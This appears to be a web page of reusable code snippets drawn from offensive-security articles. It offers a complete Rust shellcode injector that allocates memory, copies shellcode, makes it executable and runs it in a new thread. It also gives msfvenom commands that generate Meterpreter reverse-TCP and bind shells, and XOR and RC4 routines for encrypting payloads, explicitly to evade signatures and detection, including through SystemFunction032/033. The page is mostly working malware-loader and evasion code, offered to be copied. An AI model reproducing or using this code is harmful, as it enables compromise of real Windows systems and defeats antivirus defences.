Code Snippets
Collection of useful code snippets extracted from our articles. Search, copy and reuse.
CreateThread - Execute Shellcode in New Thread
Execute shellcode by creating a new thread at the allocated memory address
use std::ptr::{null, null_mut};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Memory::{VirtualFree, MEM_RELEASE};
use windows_sys::Win32::System::Threading::{
CreateThread, WaitForSingleObject, INFINITE,
};
let h_thread = unsafe {
CreateThread(
null(), // Default attributes
0, // Default stack size
Some(std::mem::transmute(shellcode_addr)), // Address of shellcode
null(), // No parameters
0, // Execute immediately
null_mut(), // No ID
)
};
if !h_thread.is_null() {
unsafe {
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
}
} else {
eprintln!("Error: CreateThread failed ({})", unsafe { GetLastError() });
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
return;
}Shellcode Injection on Windows
Function Pointer - Execute Shellcode
Execute shellcode using function pointer instead of CreateThread, more stealthy but blocks main thread
// Type alias for better readability
type ShellcodeFunc = fn();
let p_shellcode: ShellcodeFunc = unsafe { std::mem::transmute(shellcode_addr) };
p_shellcode(); // ExecuteShellcode Injection on Windows
Msfvenom - Generate Shellcode
Generate x64 Windows shellcode using msfvenom
# Basic calc.exe payload
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe -f rust
# Reverse shell TCP
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f rust
# Bind shell (listen on port)
msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/bind_tcp \
LPORT=4444 -f rust
# Payload with XOR encoding (avoid signatures)
msfvenom --platform windows --arch x64 -p windows/x64/exec CMD=calc.exe \
-e x64/xor -f rust -i 3Shellcode Injection on Windows
Complete Shellcode Injector
Full functional shellcode injector using VirtualAlloc, VirtualProtect and CreateThread in Rust
use std::io::{self, Read};
use std::ptr::{null, null_mut};
use windows_sys::Win32::Foundation::{CloseHandle, GetLastError};
use windows_sys::Win32::System::Memory::{
VirtualAlloc, VirtualFree, VirtualProtect,
MEM_COMMIT, MEM_RELEASE, MEM_RESERVE,
PAGE_EXECUTE_READ, PAGE_READWRITE,
};
use windows_sys::Win32::System::Threading::{
CreateThread, WaitForSingleObject, INFINITE,
};
fn main() {
// Replace with your shellcode from msfvenom -f rust
let buf: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
// [... your shellcode here ...]
];
let shellcode_size = buf.len();
println!("[*] Size: {} bytes\n", shellcode_size);
// STEP 1: Allocate memory
let shellcode_addr = unsafe {
VirtualAlloc(
null(),
shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
)
};
if shellcode_addr.is_null() {
println!("[!] VirtualAlloc failed");
return;
}
println!("[+] Memory at: {:?}", shellcode_addr);
// STEP 2: Copy shellcode
unsafe {
std::ptr::copy_nonoverlapping(
buf.as_ptr(),
shellcode_addr as *mut u8,
shellcode_size
);
}
println!("[+] Shellcode copied");
// STEP 3: Change permissions
let mut old_protect: u32 = 0;
let result = unsafe {
VirtualProtect(
shellcode_addr,
shellcode_size,
PAGE_EXECUTE_READ,
&mut old_protect
)
};
if result == 0 {
println!("[!] VirtualProtect failed");
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
return;
}
println!("[+] Permissions changed");
// STEP 4: Execute
let h_thread = unsafe {
CreateThread(
null(),
0,
Some(std::mem::transmute(shellcode_addr)),
null(),
0,
null_mut(),
)
};
if !h_thread.is_null() {
unsafe {
WaitForSingleObject(h_thread, INFINITE);
CloseHandle(h_thread);
}
}
}Shellcode Injection on Windows
VirtualAlloc - Reserve Memory for Shellcode
Allocate memory with VirtualAlloc for shellcode injection, using MEM_COMMIT | MEM_RESERVE with PAGE_READWRITE
use std::ptr::null;
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::System::Memory::{
VirtualAlloc, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE,
};
let shellcode_size = buf.len();
let shellcode_addr = unsafe {
VirtualAlloc(
null(), // Windows chooses the address
shellcode_size, // Number of bytes to reserve
MEM_COMMIT | MEM_RESERVE, // Both flags combined
PAGE_READWRITE, // Initial permissions
)
};
if shellcode_addr.is_null() {
eprintln!("Error: VirtualAlloc failed ({})", unsafe { GetLastError() });
return;
}Shellcode Injection on Windows
VirtualProtect - Change Memory to Executable
Change memory permissions from PAGE_READWRITE to PAGE_EXECUTE_READ after copying shellcode
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::System::Memory::{
VirtualProtect, VirtualFree, PAGE_EXECUTE_READ, MEM_RELEASE,
};
// Copy shellcode to memory
unsafe {
std::ptr::copy_nonoverlapping(buf.as_ptr(), shellcode_addr as *mut u8, shellcode_size);
}
// Change permissions to executable
let mut old_protect: u32 = 0;
let result = unsafe {
VirtualProtect(
shellcode_addr, // Address to change
shellcode_size, // Size
PAGE_EXECUTE_READ, // New permissions
&mut old_protect, // Save previous permissions
)
};
if result == 0 {
eprintln!("Error: VirtualProtect failed ({})", unsafe { GetLastError() });
unsafe { VirtualFree(shellcode_addr, 0, MEM_RELEASE) };
return;
}Shellcode Injection on Windows
XOR Dynamic Key - Index-Based Encryption
Encrypt/decrypt shellcode using XOR with a dynamic key that changes based on byte position (key + index).
/**
* Encrypts/Decrypts using dynamic XOR
* The key changes for each byte: (bKey + i) where i is the index
*
* Parameters:
* - pShellcode: Pointer to buffer
* - sShellcodeSize: Size of shellcode
* - bKey: Base key
*/
VOID XorByIndexKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
for (size_t i = 0; i < sShellcodeSize; i++) {
pShellcode[i] = pShellcode[i] ^ (bKey + i);
}
}XOR Encryption: Breaking Down Encryption and Evading Signatures
XOR Multiple Keys - Rotor Encryption
Encrypt/decrypt shellcode using XOR with a key array that rotates cyclically. Provides 256^keySize combinations.
/**
* Encrypts/Decrypts using XOR with key array (rotor)
* The key repeats cyclically through the shellcode
*
* Parameters:
* - pShellcode: Pointer to shellcode buffer
* - sShellcodeSize: Size of shellcode
* - pKeyBuffer: Pointer to array of bytes containing the key
* - sKeySize: Size of the key array
*/
VOID XorByMultipleKeys(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize,
IN PBYTE pKeyBuffer, IN SIZE_T sKeySize) {
for (size_t i = 0, j = 0; i < sShellcodeSize; i++) {
pShellcode[i] = pShellcode[i] ^ pKeyBuffer[j];
// Rotate the key index
j = (j + 1) % sKeySize;
}
}XOR Encryption: Breaking Down Encryption and Evading Signatures
XOR Single Key - Basic Shellcode Encryption
Encrypt/decrypt shellcode using XOR with a single-byte key. Simple but only 256 possible keys.
/**
* Encrypts/Decrypts a shellcode using XOR with a single-byte key
*
* Parameters:
* - pShellcode: Pointer to buffer containing the shellcode
* - sShellcodeSize: Size in bytes of the shellcode
* - bKey: A byte that acts as the key
*/
VOID XorByOneKey(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN BYTE bKey) {
for (size_t i = 0; i < sShellcodeSize; i++) {
pShellcode[i] = pShellcode[i] ^ bKey;
}
}XOR Encryption: Breaking Down Encryption and Evading Signatures
RC4 Pure Rust Implementation - Complete
Full RC4 encryption/decryption implementation in pure Rust with context, KSA, and PRGA functions. Cross-platform compatible.
use std::io::{self};
#[derive(Clone)]
struct Rc4Context {
i: u8,
j: u8,
s: [u8; 256],
}
impl Rc4Context {
fn new() -> Self {
Rc4Context {
i: 0,
j: 0,
s: [0; 256],
}
}
}
fn rc4_init(context: &mut Rc4Context, key: &[u8]) {
// Initialize S-box: [0, 1, 2, ..., 255]
for i in 0..256 {
context.s[i] = i as u8;
}
// KSA permutation: shuffles S-box using the key
let mut j: u8 = 0;
for i in 0..256 {
j = j.wrapping_add(context.s[i]).wrapping_add(key[i % key.len()]);
context.s.swap(i, j as usize);
}
context.i = 0;
context.j = 0;
}
fn rc4_cipher(context: &mut Rc4Context, input: &[u8], output: &mut [u8]) {
assert_eq!(input.len(), output.len(), "Input and output must have the same size");
for (in_byte, out_byte) in input.iter().zip(output.iter_mut()) {
// Generate the next pseudorandom index
context.i = context.i.wrapping_add(1);
context.j = context.j.wrapping_add(context.s[context.i as usize]);
// Swap elements in the S-box
context.s.swap(context.i as usize, context.j as usize);
// Generate sequence byte and XOR
let k_index = (context.s[context.i as usize] as u16 + context.s[context.j as usize] as u16) % 256;
*out_byte = in_byte ^ context.s[k_index as usize];
}
}
fn main() {
let payload = vec![
0x55, 0x89, 0xE5, 0x83, 0xEC, 0x10, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00,
0x8B, 0x45, 0xF8, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xF8, 0x8B, 0x45, 0xF8
];
let rc4_key = b"malghost123";
let mut encrypted = vec![0u8; payload.len()];
let mut decrypted = vec![0u8; payload.len()];
println!("[*] RC4 Encryption/Decryption Demonstration");
println!("[*] Payload size: {} bytes\n", payload.len());
// Show original
print!("[+] ORIGINAL PAYLOAD:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!("\n\nPress ENTER to continue...");
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
// STEP 1: Encryption
println!("\n[*] Encrypting with RC4...");
let mut ctx1 = Rc4Context::new();
rc4_init(&mut ctx1, rc4_key);
rc4_cipher(&mut ctx1, &payload, &mut encrypted);
print!("[+] ENCRYPTED PAYLOAD:\n ");
for byte in &encrypted {
print!("{:02x} ", byte);
}
println!("\n\nPress ENTER to continue...");
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
// STEP 2: Decryption
println!("\n[*] Decrypting with RC4...");
let mut ctx2 = Rc4Context::new();
rc4_init(&mut ctx2, rc4_key);
rc4_cipher(&mut ctx2, &encrypted, &mut decrypted);
print!("[+] DECRYPTED PAYLOAD:\n ");
for byte in &decrypted {
print!("{:02x} ", byte);
}
println!();
// Verification
if payload == decrypted {
println!("\n[✓] Verification SUCCESSFUL: Decrypted matches original");
} else {
println!("\n[!] Verification FAILED: Data corrupted");
}
println!("\n\nPress ENTER to exit...");
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
}RC4 Encryption: From Cryptographic Theory to Practical Implementation
RC4 SystemFunction032 - Native Windows API
RC4 encryption using native Windows API (SystemFunction032). Undocumented but available since Windows XP. Smaller footprint and fewer signatures.
use windows::core::PCSTR;
use windows::Win32::System::LibraryLoader::{LoadLibraryA, GetProcAddress};
#[repr(C)]
struct USTRING {
length: u32,
maximum_length: u32,
buffer: *mut u8,
}
type SystemFunction032Fn = unsafe extern "system" fn(
*mut USTRING,
*mut USTRING,
) -> i32;
fn rc4_encryption_via_systemfunc032(
rc4_key: &[u8],
payload_data: &mut [u8],
) -> bool {
unsafe {
let advapi32 = match LoadLibraryA(PCSTR(b"Advapi32.dll\0".as_ptr())) {
Ok(lib) => lib,
Err(_) => {
println!("[!] Failed to load Advapi32");
return false;
}
};
if advapi32.is_invalid() {
println!("[!] Invalid Advapi32 handle");
return false;
}
let system_function_032 = GetProcAddress(
advapi32,
PCSTR(b"SystemFunction032\0".as_ptr()),
);
if system_function_032.is_none() {
println!("[!] Failed to get SystemFunction032");
return false;
}
let mut data = USTRING {
length: payload_data.len() as u32,
maximum_length: payload_data.len() as u32,
buffer: payload_data.as_mut_ptr(),
};
let mut key = USTRING {
length: rc4_key.len() as u32,
maximum_length: rc4_key.len() as u32,
buffer: rc4_key.as_ptr() as *mut u8,
};
let func: SystemFunction032Fn = std::mem::transmute(system_function_032.unwrap());
let status = func(&mut data, &mut key);
if status != 0 {
println!("[!] SystemFunction032 failed: 0x{:08X}", status);
return false;
}
println!("[+] RC4 encryption successful with SystemFunction032");
true
}
}
fn main() {
let mut payload = vec![
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
];
let rc4_key = b"malghost123";
println!("[*] RC4 encryption using SystemFunction032");
println!("[+] Size: {} bytes\n", payload.len());
// Show original
print!("[*] ORIGINAL:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!("\n");
// Encrypt
if !rc4_encryption_via_systemfunc032(rc4_key, &mut payload) {
println!("[!] Encryption error");
return;
}
print!("[+] ENCRYPTED:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!("\n");
// Decrypt (RC4 is bidirectional)
if !rc4_encryption_via_systemfunc032(rc4_key, &mut payload) {
println!("[!] Decryption error");
return;
}
print!("[+] DECRYPTED:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!();
}RC4 Encryption: From Cryptographic Theory to Practical Implementation
RC4 SystemFunction033 - Alternative Native Windows API
RC4 encryption using SystemFunction033, the twin sister of SystemFunction032. Same functionality, alternative implementation for detection evasion.
use windows::core::PCSTR;
use windows::Win32::System::LibraryLoader::{LoadLibraryA, GetProcAddress};
#[repr(C)]
struct USTRING {
length: u32,
maximum_length: u32,
buffer: *mut u8,
}
type SystemFunction033Fn = unsafe extern "system" fn(
*mut USTRING,
*mut USTRING,
) -> i32;
fn rc4_encryption_via_systemfunc033(
rc4_key: &[u8],
payload_data: &mut [u8],
) -> bool {
unsafe {
// Load Advapi32.dll
let advapi32 = match LoadLibraryA(PCSTR(b"Advapi32.dll\0".as_ptr())) {
Ok(lib) => lib,
Err(_) => {
println!("[!] Failed to load Advapi32");
return false;
}
};
if advapi32.is_invalid() {
println!("[!] Invalid Advapi32 handle");
return false;
}
// Get address of SystemFunction033
let system_function_033 = GetProcAddress(
advapi32,
PCSTR(b"SystemFunction033\0".as_ptr()),
);
if system_function_033.is_none() {
println!("[!] Failed to get SystemFunction033");
return false;
}
// Create USTRING structures (different order)
let mut key = USTRING {
length: rc4_key.len() as u32,
maximum_length: rc4_key.len() as u32,
buffer: rc4_key.as_ptr() as *mut u8,
};
let mut data = USTRING {
length: payload_data.len() as u32,
maximum_length: payload_data.len() as u32,
buffer: payload_data.as_mut_ptr(),
};
// Call SystemFunction033
let func: SystemFunction033Fn = std::mem::transmute(system_function_033.unwrap());
let status = func(&mut data, &mut key);
if status != 0 {
println!("[!] SystemFunction033 failed: 0x{:08X}", status);
return false;
}
println!("[+] RC4 encryption successful with SystemFunction033");
true
}
}
fn main() {
let mut payload = vec![
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00,
0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
];
let rc4_key = b"malghost123";
println!("[*] RC4 encryption using SystemFunction033");
println!("[+] Size: {} bytes\n", payload.len());
// Show original
print!("[*] ORIGINAL:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!("\n");
// Encrypt
if !rc4_encryption_via_systemfunc033(rc4_key, &mut payload) {
println!("[!] Encryption error");
return;
}
print!("[+] ENCRYPTED:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!("\n");
// Decrypt (RC4 is bidirectional)
if !rc4_encryption_via_systemfunc033(rc4_key, &mut payload) {
println!("[!] Decryption error");
return;
}
print!("[+] DECRYPTED:\n ");
for byte in &payload {
print!("{:02x} ", byte);
}
println!();
}RC4 Encryption: From Cryptographic Theory to Practical Implementation
No snippets found
Try different search terms